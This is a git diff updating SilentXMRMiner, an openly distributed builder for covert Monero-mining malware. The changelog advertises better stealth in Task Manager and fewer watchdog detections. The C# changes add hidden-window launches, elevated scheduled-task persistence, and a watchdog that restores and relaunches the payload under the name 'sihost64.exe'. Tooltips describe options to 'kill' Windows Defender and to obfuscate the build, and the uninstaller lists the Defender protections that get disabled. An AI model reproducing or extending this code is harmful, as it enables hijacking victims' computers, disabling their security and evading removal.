diff --git a/README.md b/README.md
index 406f98b..21d3106 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,7 @@
-# SilentXMRMiner v1.3.2 - Based on Lime Miner v0.3
+# SilentXMRMiner v1.3.3 - Based on Lime Miner v0.3
Can mine all the following algorithms and thus all the cryptocurrencies that use them: **cn/upx2**, **argon2/chukwav2**, **cn/ccx**, **kawpow**, **rx/keva**, **astrobwt**, **cn-pico/tlo**, **rx/sfx**, **rx/arq**, **rx/0**, **argon2/chukwa**, **argon2/wrkz**, **rx/wow**, **cn/fast**, **cn/rwz**, **cn/zls**, **cn/double**, **cn/r**, **cn-pico**, **cn/half**, **cn/2**, **cn/xao**, **cn/rto**, **cn-heavy/tube**, **cn-heavy/xhv**, **cn-heavy/0**, **cn/1**, **cn-lite/1**, **cn-lite/0** and **cn/0**.
@@ -37,6 +37,11 @@ You can find the new wiki [here](https://github.com/UnamSanctam/SilentXMRMiner/w
## Changes
+### v1.3.3 (13/05/2021)
+* Fixed possible CPU fluctuation
+* Added Stealth support for Windows 7 Task Manager
+* Decreased Watchdog detections
+* Fixed possible Run as Administrator issue on computers with low privileges
### v1.3.2 (09/05/2021)
* Fixed crash when mining from countries that block certain traffic
* Reduced default Start Delay to 15 seconds
diff --git a/SilentXMRMiner/Advanced.Designer.vb b/SilentXMRMiner/Advanced.Designer.vb
index f499550..26cd814 100644
--- a/SilentXMRMiner/Advanced.Designer.vb
+++ b/SilentXMRMiner/Advanced.Designer.vb
@@ -72,7 +72,7 @@ Partial Class Advanced
Me.Label26.ForeColor = System.Drawing.Color.Teal
Me.Label26.Location = New System.Drawing.Point(59, 280)
Me.Label26.Name = "Label26"
- Me.Label26.Size = New System.Drawing.Size(18, 20)
+ Me.Label26.Size = New System.Drawing.Size(13, 13)
Me.Label26.TabIndex = 60
Me.Label26.Text = "?"
Me.TooltipHelper.SetToolTip(Me.Label26, "Will enable DEBUG mode which will display errors when they occur in the miner. !W" &
@@ -87,7 +87,7 @@ Partial Class Advanced
Me.Label19.ForeColor = System.Drawing.Color.Teal
Me.Label19.Location = New System.Drawing.Point(379, 236)
Me.Label19.Name = "Label19"
- Me.Label19.Size = New System.Drawing.Size(18, 20)
+ Me.Label19.Size = New System.Drawing.Size(13, 13)
Me.Label19.TabIndex = 66
Me.Label19.Text = "?"
Me.TooltipHelper.SetToolTip(Me.Label19, "The parameters to mine with. ONLY CHANGE THESE IF YOU KNOW WHAT YOU ARE DOING.")
@@ -101,7 +101,7 @@ Partial Class Advanced
Me.Label1.ForeColor = System.Drawing.Color.Teal
Me.Label1.Location = New System.Drawing.Point(146, 78)
Me.Label1.Name = "Label1"
- Me.Label1.Size = New System.Drawing.Size(18, 20)
+ Me.Label1.Size = New System.Drawing.Size(13, 13)
Me.Label1.TabIndex = 70
Me.Label1.Text = "?"
Me.TooltipHelper.SetToolTip(Me.Label1, resources.GetString("Label1.ToolTip"))
@@ -115,7 +115,7 @@ Partial Class Advanced
Me.Label3.ForeColor = System.Drawing.Color.Teal
Me.Label3.Location = New System.Drawing.Point(160, 253)
Me.Label3.Name = "Label3"
- Me.Label3.Size = New System.Drawing.Size(18, 20)
+ Me.Label3.Size = New System.Drawing.Size(13, 13)
Me.Label3.TabIndex = 73
Me.Label3.Text = "?"
Me.TooltipHelper.SetToolTip(Me.Label3, "Will run commands to try and ""kill"" Windows Defender when the miner loader is sta" &
@@ -131,7 +131,7 @@ Partial Class Advanced
Me.Label6.ForeColor = System.Drawing.Color.Teal
Me.Label6.Location = New System.Drawing.Point(378, 163)
Me.Label6.Name = "Label6"
- Me.Label6.Size = New System.Drawing.Size(18, 20)
+ Me.Label6.Size = New System.Drawing.Size(13, 13)
Me.Label6.TabIndex = 76
Me.Label6.Text = "?"
Me.TooltipHelper.SetToolTip(Me.Label6, resources.GetString("Label6.ToolTip"))
@@ -145,10 +145,11 @@ Partial Class Advanced
Me.Label7.ForeColor = System.Drawing.Color.Teal
Me.Label7.Location = New System.Drawing.Point(121, 107)
Me.Label7.Name = "Label7"
- Me.Label7.Size = New System.Drawing.Size(18, 20)
+ Me.Label7.Size = New System.Drawing.Size(13, 13)
Me.Label7.TabIndex = 80
Me.Label7.Text = "?"
- Me.TooltipHelper.SetToolTip(Me.Label7, resources.GetString("Label7.ToolTip"))
+ Me.TooltipHelper.SetToolTip(Me.Label7, "Creates an uninstaller in the same location as the miner that can be used to clos" &
+ "e the miner or fully remove/revert any changes made by it." & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10))
'
'Label9
'
@@ -159,11 +160,12 @@ Partial Class Advanced
Me.Label9.ForeColor = System.Drawing.Color.Teal
Me.Label9.Location = New System.Drawing.Point(140, 136)
Me.Label9.Name = "Label9"
- Me.Label9.Size = New System.Drawing.Size(18, 20)
+ Me.Label9.Size = New System.Drawing.Size(13, 13)
Me.Label9.TabIndex = 84
Me.Label9.Text = "?"
Me.TooltipHelper.SetToolTip(Me.Label9, "Will make the miner ask for administrator privileges to run." & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "This is required fo" &
- "r the ""Kill"" Windows Defender option.")
+ "r the ""Kill"" Windows Defender option. This option will also increase the hashrat" &
+ "e.")
'
'MephTheme1
'
@@ -211,7 +213,7 @@ Partial Class Advanced
Me.Label10.Location = New System.Drawing.Point(11, 133)
Me.Label10.Margin = New System.Windows.Forms.Padding(2, 0, 2, 0)
Me.Label10.Name = "Label10"
- Me.Label10.Size = New System.Drawing.Size(192, 25)
+ Me.Label10.Size = New System.Drawing.Size(133, 17)
Me.Label10.TabIndex = 83
Me.Label10.Text = "Run as Administrator:"
'
@@ -247,7 +249,7 @@ Partial Class Advanced
Me.Label27.Location = New System.Drawing.Point(11, 278)
Me.Label27.Margin = New System.Windows.Forms.Padding(2, 0, 2, 0)
Me.Label27.Name = "Label27"
- Me.Label27.Size = New System.Drawing.Size(76, 25)
+ Me.Label27.Size = New System.Drawing.Size(52, 17)
Me.Label27.TabIndex = 59
Me.Label27.Text = "DEBUG:"
'
@@ -271,7 +273,7 @@ Partial Class Advanced
Me.Label20.Location = New System.Drawing.Point(291, 257)
Me.Label20.Margin = New System.Windows.Forms.Padding(2, 0, 2, 0)
Me.Label20.Name = "Label20"
- Me.Label20.Size = New System.Drawing.Size(198, 25)
+ Me.Label20.Size = New System.Drawing.Size(138, 17)
Me.Label20.TabIndex = 67
Me.Label20.Text = "Advanced Parameters:"
'
@@ -314,7 +316,7 @@ Partial Class Advanced
Me.Label2.Location = New System.Drawing.Point(10, 75)
Me.Label2.Margin = New System.Windows.Forms.Padding(2, 0, 2, 0)
Me.Label2.Name = "Label2"
- Me.Label2.Size = New System.Drawing.Size(201, 25)
+ Me.Label2.Size = New System.Drawing.Size(140, 17)
Me.Label2.TabIndex = 69
Me.Label2.Text = "Pause for Obfuscation:"
'
@@ -339,7 +341,7 @@ Partial Class Advanced
Me.Label4.Location = New System.Drawing.Point(11, 250)
Me.Label4.Margin = New System.Windows.Forms.Padding(2, 0, 2, 0)
Me.Label4.Name = "Label4"
- Me.Label4.Size = New System.Drawing.Size(222, 25)
+ Me.Label4.Size = New System.Drawing.Size(153, 17)
Me.Label4.TabIndex = 72
Me.Label4.Text = """Kill"" Windows Defender:"
'
@@ -363,7 +365,7 @@ Partial Class Advanced
Me.Label5.Location = New System.Drawing.Point(290, 184)
Me.Label5.Margin = New System.Windows.Forms.Padding(2, 0, 2, 0)
Me.Label5.Name = "Label5"
- Me.Label5.Size = New System.Drawing.Size(201, 25)
+ Me.Label5.Size = New System.Drawing.Size(139, 17)
Me.Label5.TabIndex = 77
Me.Label5.Text = "Remote Configuration:"
'
@@ -406,7 +408,7 @@ Partial Class Advanced
Me.Label8.Location = New System.Drawing.Point(11, 104)
Me.Label8.Margin = New System.Windows.Forms.Padding(2, 0, 2, 0)
Me.Label8.Name = "Label8"
- Me.Label8.Size = New System.Drawing.Size(167, 25)
+ Me.Label8.Size = New System.Drawing.Size(114, 17)
Me.Label8.TabIndex = 79
Me.Label8.Text = "Create Uninstaller:"
'
diff --git a/SilentXMRMiner/Advanced.resx b/SilentXMRMiner/Advanced.resx
index 9d0be15..7293b0f 100644
--- a/SilentXMRMiner/Advanced.resx
+++ b/SilentXMRMiner/Advanced.resx
@@ -128,11 +128,6 @@ After you have obfuscated the file press OK on the message box that appears to m
Will get the configuration for the miner from this URL and use this as the main settings. If the URL can't be reached or if the configuration is wrong, it will use the settings declared in the builder instead.
You can find the specific format for the configuration and other helpful things on the SilentXMRMiner GitHub wiki: https://github.com/UnamSanctam/SilentXMRMiner/wiki.
-
-
- Pauses the miner compilation when the Watchdog DLL and/or Miner DLL is compiled to allow manual obfuscation of the file.
-You can find the file in the same folder as the miner location you specified with the name MINERFILE-watchdog.dll or MINERFILE-miner.dll.
-After you have obfuscated the file press OK on the message box that appears to move on to the next step.
diff --git a/SilentXMRMiner/Codedom.vb b/SilentXMRMiner/Codedom.vb
index 474128e..7fc4285 100644
--- a/SilentXMRMiner/Codedom.vb
+++ b/SilentXMRMiner/Codedom.vb
@@ -91,6 +91,8 @@ Public Class Codedom
Dim watchdogbuilder As New StringBuilder(Code)
+ watchdogbuilder.Replace("#InjectionTarget", F.InjectionTarget(0))
+
ReplaceGlobals(watchdogbuilder)
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, watchdogbuilder.ToString())
diff --git a/SilentXMRMiner/Form1.Designer.vb b/SilentXMRMiner/Form1.Designer.vb
index 9ea4674..5812599 100644
--- a/SilentXMRMiner/Form1.Designer.vb
+++ b/SilentXMRMiner/Form1.Designer.vb
@@ -346,7 +346,7 @@ Partial Class Form1
Me.MephForm1.Size = New System.Drawing.Size(535, 272)
Me.MephForm1.SubHeader = "By Unam Sanctam, Credit to NYAN-x-CAT"
Me.MephForm1.TabIndex = 0
- Me.MephForm1.Text = "Silent XMR Miner Builder 1.3.2"
+ Me.MephForm1.Text = "Silent XMR Miner Builder 1.3.3"
'
'MephTabcontrol2
'
diff --git a/SilentXMRMiner/Form1.vb b/SilentXMRMiner/Form1.vb
index 83aa461..e6af573 100644
--- a/SilentXMRMiner/Form1.vb
+++ b/SilentXMRMiner/Form1.vb
@@ -420,13 +420,8 @@ Public Class Form1
End Sub
Private Sub toggleEnableIdle_CheckedChanged(sender As Object) Handles toggleEnableIdle.CheckedChanged
- If toggleEnableIdle.Checked Then
- txtIdleCPU.Enabled = True
- txtIdleWait.Enabled = True
- Else
- txtIdleCPU.Enabled = False
- txtIdleWait.Enabled = False
- End If
+ txtIdleCPU.Enabled = toggleEnableIdle.Checked
+ txtIdleWait.Enabled = toggleEnableIdle.Checked
End Sub
Private Sub MephButton1_Click(sender As Object, e As EventArgs) Handles MephButton1.Click
diff --git a/SilentXMRMiner/Resources/Loader.cs b/SilentXMRMiner/Resources/Loader.cs
index 838b2fc..40e41b6 100644
--- a/SilentXMRMiner/Resources/Loader.cs
+++ b/SilentXMRMiner/Resources/Loader.cs
@@ -36,9 +36,7 @@ public static void Main()
Arguments = "/c " + Encoding.ASCII.GetString(RAES_Decryptor(Convert.FromBase64String("#KillWDCommands"))) + " & exit",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
- UseShellExecute = false,
- RedirectStandardOutput = true,
- Verb = "runas",
+ Verb = "runas"
});
}
catch (Exception ex)
diff --git a/SilentXMRMiner/Resources/Program.cs b/SilentXMRMiner/Resources/Program.cs
index 5680b69..5a6b779 100644
--- a/SilentXMRMiner/Resources/Program.cs
+++ b/SilentXMRMiner/Resources/Program.cs
@@ -46,7 +46,8 @@ public static void Main()
FileName = "cmd",
Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn " + "\"" + Path.GetFileNameWithoutExtension(plp) + "\"" + " /tr " + "'" + "\"" + (plp) + "\"" + "' & exit",
WindowStyle = ProcessWindowStyle.Hidden,
- CreateNoWindow = true
+ CreateNoWindow = true,
+ Verb = "runas"
});
}
catch(Exception ex){
@@ -78,7 +79,12 @@ public static void RInstall()
File.Copy(Process.GetCurrentProcess().MainModule.FileName, plp, true);
Thread.Sleep(5 * 1000);
RBaseFolder();
- Process.Start(plp);
+ Process.Start(new ProcessStartInfo
+ {
+ FileName = plp,
+ WindowStyle = ProcessWindowStyle.Hidden,
+ CreateNoWindow = true,
+ });
Environment.Exit(0);
}
}
@@ -116,11 +122,16 @@ public static void RBaseFolder()
Thread.Sleep(3000);
File.WriteAllBytes(bD + "sihost64.exe", RGetTheResource("#watchdog"));
- Thread.Sleep(2 * 1000);
+ Thread.Sleep(1 * 1000);
if (Process.GetProcessesByName("sihost64").Length < 1)
{
- Process.Start(bD + "sihost64.exe");
+ Process.Start(new ProcessStartInfo
+ {
+ FileName = bD + "sihost64.exe",
+ WindowStyle = ProcessWindowStyle.Hidden,
+ CreateNoWindow = true,
+ });
}
#endif
File.WriteAllBytes(bD + "WR64.sys", RGetTheResource("#winring"));
@@ -210,8 +221,8 @@ public static void RInitialize()
#endif
string argstr = RGetString("#ARGSTR") + rS;
- argstr = argstr.Replace("{%RANDOM%}", RTruncate("R" +Guid.NewGuid().ToString().Replace("-", ""), 10));
- argstr = argstr.Replace("{%COMPUTERNAME%}", RTruncate("C" +System.Text.RegularExpressions.Regex.Replace(Environment.MachineName.ToString(), "[^a-zA-Z0-9]", ""), 10));
+ argstr = argstr.Replace("{%RANDOM%}", RTruncate("R" + Guid.NewGuid().ToString().Replace("-", ""), 10));
+ argstr = argstr.Replace("{%COMPUTERNAME%}", RTruncate("C" + System.Text.RegularExpressions.Regex.Replace(Environment.MachineName.ToString(), "[^a-zA-Z0-9]", ""), 10));
if (RCheckProc())
{
Environment.Exit(0);
diff --git a/SilentXMRMiner/Resources/Uninstaller.cs b/SilentXMRMiner/Resources/Uninstaller.cs
index 71313f2..4187577 100644
--- a/SilentXMRMiner/Resources/Uninstaller.cs
+++ b/SilentXMRMiner/Resources/Uninstaller.cs
@@ -129,6 +129,7 @@ public static void Main()
Arguments = "/c powershell -Command Remove-MpPreference -ExclusionPath '%cd%' & powershell -Command Remove-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Remove-MpPreference -ExclusionPath '%AppData%' & powershell -Command Remove-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $false & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $false & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $false & powershell -Command Set-MpPreference -DisableScriptScanning $false & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $false & powershell -Command Set-MpPreference -DisableIOAVProtection $false & powershell -Command Set-MpPreference -EnableControlledFolderAccess Enabled & sc config WinDefend start=enabled & sc start WinDefend & powershell -Command Start-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Enabled & powershell -Command Install-WindowsFeature -Name Windows-Defender & powershell -Command Add-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Enable-Feature /FeatureName:Windows-Defender /NoRestart /quiet & exit",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
+ Verb = "runas"
});
}
catch (Exception ex)
diff --git a/SilentXMRMiner/Resources/Watchdog.cs b/SilentXMRMiner/Resources/Watchdog.cs
index e114736..ca77478 100644
--- a/SilentXMRMiner/Resources/Watchdog.cs
+++ b/SilentXMRMiner/Resources/Watchdog.cs
@@ -18,7 +18,7 @@
public partial class Program
{
- public static byte[] xm = new byte[] { };
+ public static string xm = "";
public static string plp = "";
public static int checkcount = 0;
@@ -27,7 +27,7 @@ public static void Main()
try
{
plp = PayloadPath;
- xm = RAES_Encryptor(File.ReadAllBytes(plp));
+ xm = Convert.ToBase64String(File.ReadAllBytes(plp));
RWDLoop();
}
catch (Exception ex)
@@ -47,8 +47,13 @@ public static void RWDLoop()
{
if (!File.Exists(plp))
{
- File.WriteAllBytes(plp, RAES_Decryptor(xm));
- Process.Start(plp);
+ File.WriteAllBytes(plp, Convert.FromBase64String(xm));
+ Process.Start(new ProcessStartInfo
+ {
+ FileName = plp,
+ WindowStyle = ProcessWindowStyle.Hidden,
+ CreateNoWindow = true,
+ });
}
else if (checkcount < 2)
{
@@ -57,7 +62,12 @@ public static void RWDLoop()
else
{
checkcount = 0;
- Process.Start(plp);
+ Process.Start(new ProcessStartInfo
+ {
+ FileName = plp,
+ WindowStyle = ProcessWindowStyle.Hidden,
+ CreateNoWindow = true,
+ });
}
}
else
@@ -65,8 +75,13 @@ public static void RWDLoop()
checkcount = 0;
if (!File.Exists(plp))
{
- File.WriteAllBytes(plp, RAES_Decryptor(xm));
- Process.Start(plp);
+ File.WriteAllBytes(plp, Convert.FromBase64String(xm));
+ Process.Start(new ProcessStartInfo
+ {
+ FileName = plp,
+ WindowStyle = ProcessWindowStyle.Hidden,
+ CreateNoWindow = true,
+ });
}
}
@@ -91,11 +106,6 @@ public static void RWDLoop()
}
- public static string RGetString(string input)
- {
- return Encoding.ASCII.GetString(RAES_Decryptor(Convert.FromBase64String(input)));
- }
-
public static bool RCheckProc()
{
try
@@ -105,7 +115,7 @@ public static bool RCheckProc()
var scope = new ManagementScope(@"\\" + Environment.UserDomainName + @"\root\cimv2", options);
scope.Connect();
- string wmiQuery = string.Format("Select CommandLine from Win32_Process where Name='{0}'", RGetString("#InjectionTarget"));
+ string wmiQuery = string.Format("Select CommandLine from Win32_Process where Name='{0}'", "#InjectionTarget");
var query = new ObjectQuery(wmiQuery);
var managementObjectSearcher = new ManagementObjectSearcher(scope, query);
var managementObjectCollection = managementObjectSearcher.Get();
@@ -125,46 +135,4 @@ public static bool RCheckProc()
}
return false;
}
-
- public static byte[] RAES_Decryptor(byte[] input)
- {
- var initVectorBytes = Encoding.ASCII.GetBytes("#IV");
- var saltValueBytes = Encoding.ASCII.GetBytes("#SALT");
- var k1 = new Rfc2898DeriveBytes("#KEY", saltValueBytes, 100);
- var symmetricKey = new RijndaelManaged();
- symmetricKey.KeySize = 256;
- symmetricKey.Mode = CipherMode.CBC;
- var decryptor = symmetricKey.CreateDecryptor(k1.GetBytes(16), initVectorBytes);
- using (var mStream = new MemoryStream())
- {
- using (var cStream = new CryptoStream(mStream, decryptor, CryptoStreamMode.Write))
- {
- cStream.Write(input, 0, input.Length);
- cStream.Close();
- }
-
- return mStream.ToArray();
- }
- }
-
- public static byte[] RAES_Encryptor(byte[] input)
- {
- var initVectorBytes = Encoding.ASCII.GetBytes("#IV");
- var saltValueBytes = Encoding.ASCII.GetBytes("#SALT");
- var k1 = new Rfc2898DeriveBytes("#KEY", saltValueBytes, 100);
- var symmetricKey = new RijndaelManaged();
- symmetricKey.KeySize = 256;
- symmetricKey.Mode = CipherMode.CBC;
- var encryptor = symmetricKey.CreateEncryptor(k1.GetBytes(16), initVectorBytes);
- using (var mStream = new MemoryStream())
- {
- using (var cStream = new CryptoStream(mStream, encryptor, CryptoStreamMode.Write))
- {
- cStream.Write(input, 0, input.Length);
- cStream.Close();
- }
-
- return mStream.ToArray();
- }
- }
}
\ No newline at end of file
diff --git a/SilentXMRMiner/Resources/xmrig.zip b/SilentXMRMiner/Resources/xmrig.zip
index 1a5dfb7..3bc5d3b 100644
Binary files a/SilentXMRMiner/Resources/xmrig.zip and b/SilentXMRMiner/Resources/xmrig.zip differ